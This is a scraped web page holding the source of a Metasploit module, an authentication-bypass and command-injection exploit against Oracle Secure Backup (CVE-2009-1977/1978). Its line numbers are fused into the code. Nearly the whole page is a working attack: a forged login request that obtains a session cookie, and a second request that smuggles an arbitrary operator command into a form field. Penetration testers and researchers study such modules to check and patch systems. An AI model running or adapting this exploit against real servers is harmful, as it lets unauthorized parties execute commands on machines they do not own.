Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/oracle/osb_execqr2.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize(info = {})9super(update_info(info,10'Name' => 'Oracle Secure Backup Authentication Bypass/Command Injection Vulnerability',11'Description' => %q{12This module exploits an authentication bypass vulnerability13in login.php in order to execute arbitrary code via a command injection14vulnerability in property_box.php. This module was tested15against Oracle Secure Backup version 10.3.0.1.0 (Win32).16},17'Author' => [ 'MC' ],18'License' => MSF_LICENSE,19'References' =>20[21[ 'CVE', '2009-1977' ],22[ 'OSVDB', '55903' ],23[ 'CVE', '2009-1978' ],24[ 'OSVDB', '55904' ],25[ 'ZDI', '09-058' ],26[ 'ZDI', '09-059' ],27],28'DisclosureDate' => '2009-08-18'))2930register_options(31[32Opt::RPORT(443),33OptString.new('CMD', [ false, "The command to execute.", "cmd.exe /c echo metasploit > %SYSTEMDRIVE%\\metasploit.txt" ]),34OptBool.new('SSL', [true, 'Use SSL', true]),35])36end3738def run39cmd = datastore['CMD']4041res = send_request_cgi(42{43'uri' => '/login.php',44'data' => 'button=Login&attempt=1&mode=&tab=75&uname=-msf&passwd=msf',45'method' => 'POST',46}, 5)4748if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)4950print_status("Sending command: #{datastore['CMD']}...")5152send_request_cgi(53{54'uri' => '/property_box.php',55'data' => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd),56'cookie' => res.get_cookies,57'method' => 'POST',58}, 5)5960print_status("Done.")61else62print_error("Invalid PHPSESSION token..")63return64end65end66end676869